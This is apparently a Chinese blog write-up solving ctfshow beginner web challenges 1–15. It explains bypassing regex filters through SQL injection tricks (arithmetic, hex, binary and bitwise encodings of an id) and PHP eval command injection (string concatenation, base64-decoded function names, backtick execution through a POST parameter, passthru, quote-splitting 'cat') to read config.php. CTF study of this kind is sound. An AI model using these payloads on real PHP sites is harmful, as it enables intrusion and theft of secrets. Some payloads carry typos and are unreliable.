ctfshow简单题web1-15

ctfshow萌新

目录

ctfshow萌新

web1

web2-4

web5-7

web9

web10

web11

web12

web13

web14、15


总结:这几题主要都是正则匹配字符过滤的绕过,基本步骤都是源码中查看过滤规则->找到注入点->传入payload。只在web1中写了比较完整的步骤,剩下的题目主要只说对于字符过滤的绕过方法。

web1

1.手动注入。需要绕过函数inval,要求id不能大于999且id=1000,所以用'1000'字符代替数字1000

2.找到?id=" "处有回显

3.注释掉后面的语句,得到flag

最终payload:

?id='1000'%23?sql=select * from article where id = ‘1000’ order by id limit 1

web2-4

过滤规则:

web2

web3

web4

过滤规则比上一题多了一些,这三个题目都可以用逻辑或绕过

?id=999 || id=1000

其他方式

减号:?id=999- -1
除号:?id=2000/2)
乘号:?id=250*4
或运算符:?id=999 || id=1000
左移运算符:?id=500<<1,左移一位表示乘二
十六进制数:?id=0x3e8

web5-7

用到的绕过方法:

异或运算符:?id=328^672
非运算符:?id=~~1000
二进制:?id=0b1111101000

web5

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|/<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");

逻辑或被ban了,这里用到逻辑非运算(非两次)

?id=~~1000

web6

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>
|\^(异或)|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");

异或运算被ban,用上一题中的非运算依旧可以过

web7

 if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!
 |\~(逻辑非)|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");

非运算被ban了,用二进制可以绕过

?id=0b1111101000

web9

<?php
# flag in config.php
include("config.php");//提示要查看这个文件
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
//一开始理解错了,最后发现是c中需要包含system|exec|highlight才可以被执行
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
//这个函数可以展示文件中的所有信息
}
?>

传参

?c=highlight_file('config.php');

web10

 if(!preg_match("/system|exec|highlight/i",$c)){
 //和上一题不同的是这次c中不能包含这几个函数
                eval($c);
        }else{
            die("cmd error");
        }

方法1:重新定义几个变量,拼接出我们想要的函数即可(‘$a.$b’表示把a和b两个字符串接起来)

?c=$a=’high‘;$b=’light_file‘;$q=$a.$b;$q(‘config.php’);

方法2:题目是针对GET方式的限制,所以也可以先用GET传

?c=echo `$_POST[1]`?>   //打印出post方式传入的变量1

再用POST传

1=xxx
//xxx为需要用到的指令,比如’cat confif.php'

web11

这题比上题多ban了一个‘cat’,用上一题方法1中的payload也能过

如果用的是system函数,代替‘cat’的可以是tac、more、less、head、tail、nl、sed、sort、uniq

也可以加单引号‘ ’ 双引号“” 反斜杠/来绕过

例如:
‘ca“”t config.php’
“ca''t config.php"
‘ca/t config.php’

web12

 if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
                eval($c);

'.'被ban了,可以用编码后再解码的方法绕过

例如base64编码绕过

c=
$q =base64_decode('aGlnaGxpZ2h0X2ZpbGU=');
//highlight_file
$w=base64_decode('Y29uZmlnLnBocA==');
//config.php
$q($w);//完整函数语句

web13

比上一题多ban了分号";",如果想闭合语句可以改用?>,那payload就只能写成一句话

c=base64_decode(aGlnaGxpZ2h0X2ZpbGUoY29uZmlnLnBocCk')?>
//尝试把highlight_file('config.php')进行base64编码

(但这个payload不知道为什么行不通,一开始觉得是字符串没有被当作php执行的原因,但是加了assert()还是行不通)

最后是看了其他师傅的wp,用的是passthru函数

c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

web14、15

依旧是先看过滤规则:

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
                eval($c);
//括号被ban了,所以上面的payload行不通了

都可以用web10中提到的POST传参绕过

先用GET传入:
?c=echo `$_POST[1]`?>

POST传入:

1=cat config.php

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值